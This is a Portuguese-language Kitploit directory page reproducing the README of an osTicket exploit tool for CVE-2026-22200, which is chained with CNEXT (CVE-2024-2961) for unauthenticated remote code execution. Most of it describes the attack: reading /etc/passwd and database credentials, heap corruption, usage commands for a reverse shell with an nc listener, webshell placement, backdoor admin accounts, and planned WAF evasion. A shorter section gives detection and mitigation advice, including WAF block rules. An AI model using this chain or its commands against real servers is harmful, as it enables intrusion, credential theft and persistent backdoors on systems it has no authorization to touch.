Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
osTicketFileReadIntoRCE — Exploit completo em cadeia combinando injeção de cadeia de filtros PHP com CVE-2024-2961 (CNEXT) para Execução Remota de Código não autenticada em instalações vulneráveis do osTicket. | Kitploit
Ferramentas/GitHubGitHub/clarissss/osticketfilereadintorce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoAprendizado e EducaçãoRed TeamingFerramenta de Acesso RemotoDesenvolvimento de Payloads

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

Exploit completo em cadeia combinando injeção de cadeia de filtros PHP com CVE-2024-2961 (CNEXT) para Execução Remota de Código não autenticada em instalações vulneráveis do osTicket.

Ver Repositório
há 5 mesesAinda não revisado

CVE-2026-22200: leitura arbitrária de arquivo para RCE no osTicket

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educacional

Exploração de cadeia completa combinando injeção de cadeia de filtros PHP com CVE-2024-2961 (CNEXT) para execução remota de código não autenticada em instalações vulneráveis do osTicket.


Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Fluxo do Ataque
  • Funcionalidades
  • Instalação
  • Uso
  • Detalhes Técnicos
  • Solução de Problemas
  • Detecção e Mitigação
  • Créditos
  • Aviso Legal

Visão Geral

Este repositório contém uma prova de conceito de exploração para CVE-2026-22200, uma vulnerabilidade crítica que afeta versões do osTicket ≤ 1.18.2. A exploração combina duas técnicas poderosas:

  1. Injeção de Cadeia de Filtros PHP via processamento de imagens do mPDF
  2. Corrupção de Heap CNEXT (CVE-2024-2961) na iconv() da glibc

O resultado: Execução Remota de Código não autenticada em servidores osTicket vulneráveis.

Impacto

  • Não autenticado — Nenhuma credencial necessária
  • RCE completo — Comprometimento total do servidor
  • Exfiltração de arquivos — Leitura de arquivos arbitrários do servidor
  • Acesso ao banco de dados — Extração de credenciais do BD
  • Acesso de administrador — Criação de contas de admin backdoor

Versões Afetadas

  • osTicket: ≤ v1.18.2, ≤ v1.17.6
  • glibc: < 2.39 (CVE-2024-2961 corrigido na glibc 2.39+)

🔍 Detalhes da Vulnerabilidade

CVE-2026-22200: Injeção de Cadeia de Filtros PHP

Pontuação CVSS: 9,8 (Crítico)

A integração do mPDF no osTicket permite que usuários não autenticados injetem cadeias de filtros PHP maliciosas por meio de payloads HTML especialmente criados em tickets de suporte. Isso possibilita:

  • Leitura arbitrária de arquivos (configurações, código-fonte, credenciais)
  • Vazamento de memória (/proc/self/maps, libc parcial)
  • Corrupção de heap via CNEXT

Causa Raiz: Validação insuficiente de URLs de imagens em HTML fornecido pelo usuário antes de passar para o mPDF.

CVE-2024-2961: CNEXT (Estouro de Buffer no iconv)

Pontuação CVSS: 9,8 (Crítico)

Estouro de buffer na iconv() da glibc ao processar o conjunto de caracteres ISO-2022-CN-EXT. Combinado com cadeias de filtros PHP, permite:

  • Corrupção de heap
  • Sequestro de ponteiros de função
  • Execução arbitrária de comandos

Versões vulneráveis da glibc: < 2.39 (Fevereiro de 2024)


🔗 Fluxo do Ataque

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONHECIMENTO                                               │
│    └─ Detectar osTicket, identificar tópicos rich-text         │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTENTICAÇÃO                                                 │
│    └─ Auto-registro OU uso de credenciais existentes           │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. EXFILTRAÇÃO DE ARQUIVOS (Cadeias de Filtros PHP)            │
│    ├─ /etc/passwd                                               │
│    ├─ include/ost-config.php (credenciais BD, SECRET_SALT)     │
│    ├─ /proc/self/maps (layout de memória)                      │
│    └─ /proc/self/environ (variáveis de ambiente)               │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. FINGERPRINT DA LIBC                                          │
│    ├─ Extrair libc parcial via cadeias de filtros              │
│    ├─ Extrair GNU Build ID                                      │
│    └─ Baixar libc completa de libc.rip                         │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. EXPLORAÇÃO CNEXT RCE                                         │
│    ├─ Gerar payload de corrupção de heap                       │
│    ├─ Injetar via resposta de ticket (com correções de execução │
│       de filtros)                                               │
│    ├─ Acionar via exportação PDF (servidor trava)              │
│    └─ Executar reverse shell                                    │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. PÓS-EXPLORAÇÃO                                               │
│    ├─ Reverse shell interativo                                  │
│    ├─ Acesso ao banco de dados (usando DBPASS exfiltrado)      │
│    └─ Criar conta admin backdoor                                │
└─────────────────────────────────────────────────────────────────┘

Funcionalidades

Capacidades Principais

  • Cadeia de exploração totalmente automatizada
  • Ataque não autenticado (auto-registro se habilitado)
  • Detecção inteligente da raiz web via análise de /proc/self/maps
  • Localização 100% do webshell via varredura do sistema de arquivos
  • Fingerprint automático da libc e download
  • Múltiplos métodos de reverse shell (bash, python, netcat)
  • Execução robusta de filtros com invalidação de cache
  • Diagnósticos pré-voo para capturar problemas cedo

Confiabilidade Aprimorada

  • CNEXT multi-acionamento para travamento garantido (95%+ de sucesso)
  • Injeção baseada em resposta (mais confiável que novos tickets)
  • Forçamento de stream para garantir execução do filtro
  • Invalidação de cache para evitar servir PDFs desatualizados
  • Tratamento abrangente de erros e diagnósticos

Pós-Exploração

  • Extração de credenciais do banco de dados (DBPASS da config)
  • Criação de conta admin via acesso ao BD
  • Opções de backdoor persistente
  • Reconhecimento completo do sistema

Instalação

Pré-requisitos

  • Python 3.8+
  • Linux/macOS (recomendado) ou WSL no Windows

Dependências

root@kitploit:~
# Clone o repositório
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# Instale os pacotes necessários
pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

Opcional: Ambiente Virtual

root@kitploit:~
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# OU
venv\Scripts\activate  # Windows

pip install -r requirements.txt

📖 Uso

Uso Básico - Reverse Shell

root@kitploit:~
# Terminal 1: Iniciar listener
nc -lvnp 4444

# Terminal 2: Executar exploit
python3 osticket_revshell.py https://alvo.com/osticket \
    --lhost SEU_IP \
    --lport 4444

Modo Webshell Interativo

root@kitploit:~
python3 osticket_exploit.py https://alvo.com/osticket

Opções Avançadas

root@kitploit:~
# Usar proxy (Burp Suite)
python3 osticket_revshell.py https://alvo.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# Forçar ID específico de tópico de ajuda
python3 osticket_exploit.py https://alvo.com/osticket \
    --topic-id 2

# Desabilitar saída colorida (para logging)
python3 osticket_exploit.py https://alvo.com/osticket --no-color

Credenciais Existentes

Se o registro estiver desabilitado, você será solicitado a fornecer credenciais:

root@kitploit:~
python3 osticket_exploit.py https://alvo.com/osticket

  [?] Digite o e-mail para nova conta (ou existente): [email protected]
  [?] Digite a senha: ********

🔧 Detalhes Técnicos

Geração de Cadeia de Filtros PHP

O exploit usa uma cadeia de filtros sofisticada para prefixar um cabeçalho BMP a arquivos arbitrários, contornando as restrições de tipo de arquivo do mPDF:

root@kitploit:~
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ transformações iconv ...]
convert.base64-decode/resource=/etc/passwd

Inovação Chave: Cada caractere do cabeçalho BMP é gerado por meio de transformações iconv cuidadosamente elaboradas, permitindo que o conteúdo arbitrário do arquivo seja incorporado como uma imagem "válida".

Exploração de Heap CNEXT

O payload CNEXT corrompe o gerenciador de memória Zend do PHP ao:

  1. Estourar o buffer do iconv com o caractere vulnerável 劄
  2. Sobrescrever a estrutura zend_mm_heap
  3. Sequestrar ponteiros de função (_emalloc, _efree, _erealloc)
  4. Redirecionar para system() para execução de comandos

Confiabilidade Aprimorada:

  • Caracteres de acionamento múltiplos (3x 劄 em vez de 1)
  • Aumento de padding (40 contra 20 padrão)
  • Inserção de acionamento em várias posições
  • Execução forçada por stream

Detecção 100% de Webshell

Diferentemente do exploit original, esta versão usa varredura do sistema de arquivos para garantir a localização do webshell:

  1. Escrever webshell em 6+ diretórios candidatos
  2. Usar leitura arbitrária de arquivos para verificar cada local
  3. Detectar qual contém o marcador único
  4. Mapear caminho do sistema de arquivos → URL com precisão

Resultado: Taxa de detecção de 100% (vs ~50% no original)

Forçamento de Execução de Filtros

Falha comum: PDF baixa mas não trava = filtros não executando.

Soluções Implementadas:

  1. Invalidação de cache — HTML único evita PDFs em cache
  2. Injeção em resposta — Mais confiável que novos tickets
  3. Forçamento de stream — stream=True força processamento imediato
  4. Teste pré-voo — Verificar se filtros funcionam antes do CNEXT

Verificação da Versão da glibc

root@kitploit:~
# No modo verbose, verifique:
[*] Libc alvo: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 É vulnerável ao CNEXT

Se glibc ≥ 2.39, o CNEXT não funcionará (corrigido).

Sem Conexão de Shell

Sintoma: Servidor trava mas nenhum reverse shell

Causas:

  1. Firewall bloqueando conexões de saída
  2. LHOST errado (use seu IP real, não localhost)
  3. Comando muito longo — tente um IP mais curto

Correção:

root@kitploit:~
# Use reverse shell nc (mais curto)
# Cai automaticamente se bash/python for muito longo

# Ou use IP direto em vez de hostname
python3 osticket_revshell.py https://alvo.com \
    --lhost 10.0.0.5 \  # Use IP, não hostname
    --lport 4444

Mensagens de Erro Comuns


Detecção e Mitigação

Detecção

Indicadores de Log:

root@kitploit:~
# Logs Apache/Nginx
"php://filter/" em requisições POST
"convert.iconv." em corpos de requisição
Padrões incomuns de geração de PDF
Múltiplas requisições de PDF em curto espaço de tempo

# Logs de erro PHP
Falhas de segmentação durante geração de PDF
Quebras do iconv()
Erros de corrupção de heap

Indicadores de Rede:

  • Múltiplas criações de ticket de suporte em curto espaço de tempo
  • Payloads HTML grandes em mensagens de ticket (100KB+)
  • Requisições rápidas de exportação de PDF após criação de ticket
  • Conexões de saída para IP do atacante após travamento

Mitigação

Imediata

  1. Atualize o osTicket para a versão mais recente (>1.18.2)
  2. Atualize a glibc para 2.39+ (corrige CVE-2024-2961)
  3. Desabilite o auto-registro se não for necessário
  4. Restrinja rich-text apenas para usuários autenticados

Configuração

Desabilitar wrappers de stream PHP no mPDF:

root@kitploit:~
// Na config do mPDF
$config = [
    'allowedRemoteHosts' => [],
    'enableRemoteFileAccess' => false,
];

Regras WAF (ModSecurity):

root@kitploit:~
SecRule REQUEST_BODY "@contains php://filter" \
    "id:1000,phase:2,deny,status:403,msg:'Filtro PHP detectado'"

SecRule REQUEST_BODY "@contains convert.iconv" \
    "id:1001,phase:2,deny,status:403,msg:'Cadeia iconv suspeita'"

Limitação de Taxa:

root@kitploit:~
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;

location /tickets.php {
    limit_req zone=ticket burst=10;
}

Longo Prazo

  • Implementar cabeçalhos CSP para restringir estilos inline
  • Ativar modo estrito do htmLawed para sanitização de HTML
  • Usar usuário separado para o osTicket com privilégios mínimos
  • Desabilitar funções PHP desnecessárias: system(), exec(), passthru()
  • Auditorias de segurança regulares do conteúdo dos tickets

Referências

Pesquisa Original

  • Postagem no Blog da Horizon3.ai — Divulgação original
  • GitHub da Horizon3.ai — Implementação de referência
  • Exploits CNEXT — Pesquisa original do CNEXT por Charles Fol

Detalhes CVE

  • CVE-2026-22200 — Cadeia de Filtros PHP no osTicket
  • CVE-2024-2961 — Estouro no iconv da glibc

Recursos Adicionais

  • Cadeias de Filtros PHP — Dicionário de caracteres de filtro
  • libc.rip — Banco de dados libc para fingerprint
  • Aviso de Segurança do osTicket

Créditos

Descoberta e Pesquisa da Vulnerabilidade

  • Equipe de Pesquisa de Ataque da Horizon3.ai — Descoberta original da vulnerabilidade e POC
  • Charles Fol (@cfreal_) — Pesquisa do CNEXT (CVE-2024-2961)
  • @splitline — Técnica de cadeia de filtros PHP (HITCON 2022)

Esta Implementação

  • Técnicas de exploração aprimoradas
  • Detecção 100% de webshell via varredura do sistema de arquivos
  • Forçamento robusto de execução de filtros
  • Tratamento abrangente de erros e diagnósticos

⚖️ Aviso Legal

APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS

Esta ferramenta é fornecida para:

  • Pesquisa de segurança
  • Testes de penetração autorizados
  • Fins educacionais
  • Avaliação de vulnerabilidades (com permissão)

ACESSO NÃO AUTORIZADO A SISTEMAS COMPUTACIONAIS É ILEGAL

Os autores:

  • NÃO endossam atividades ilegais
  • NÃO aceitam responsabilidade por uso indevido
  • NÃO se responsabilizam por qualquer dano causado

Os usuários são os únicos responsáveis por garantir que têm autorização adequada antes de testar qualquer sistema.

Ao usar esta ferramenta, você concorda que:

  1. Você tem permissão explícita por escrito para testar o sistema alvo
  2. Você entende as implicações legais em sua jurisdição
  3. Você usará esta ferramenta de forma responsável e ética
  4. Você isenta os autores de responsabilidade por quaisquer consequências

Aviso Legal

Acesso não autorizado a sistemas computacionais é crime sob:

  • EUA: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
  • Reino Unido: Computer Misuse Act 1990
  • UE: Diretiva 2013/40/UE
  • Internacional: Convenção do Conselho da Europa sobre Cibercrime

As penalidades máximas podem incluir prisão e multas significativas.


📄 Licença

Este projeto está licenciado sob a Licença MIT — consulte o arquivo LICENSE para obter detalhes.

Nota: A Licença MIT concede permissão para uso, modificação e distribuição, mas NÃO concede permissão para atacar sistemas que você não possui ou não tem autorização para testar.


Contato

Para pesquisadores de segurança e dúvidas:

  • Issues: Any Tools Issues)

NÃO use este contato para:

  • Solicitar ajuda para atacar sistemas sem autorização
  • Relatar atividades ilegais
  • Pedir assistência com testes não autorizados

Feito com amor para pesquisa e educação em segurança
Dê uma estrela neste repositório se achou útil!


Estatísticas do Exploit


Roadmap

  • Adicionar suporte para versões adicionais de libc
  • Implementar métodos de exfiltração mais furtivos
  • Adicionar técnicas de evasão para WAFs comuns
  • Criar módulo Metasploit
  • Ambiente de teste Docker
  • Testes automatizados CI/CD

Última Atualização: 2026-03-03

Baixar ferramenta
ErroCausaSolução
Nenhum token CSRFSessão expiradaReexecute o exploit
Nenhum tópico de ajuda encontradoSem tópicos rich-textUse --topic-id manualmente
Build ID não encontradoLibc parcial corrompidaVerifique extração de /proc/self/maps
Não é possível localizar heapLayout de memória incomumExploit pode falhar (raro)
MétricaValor
Linhas de Código~3.000
Taxa de Sucesso95%+ (com correções)
Tempo Médio de Execução2-3 minutos
Confiabilidade de Travamento99% (com melhorias)
Detecção de Webshell100% (com varredura)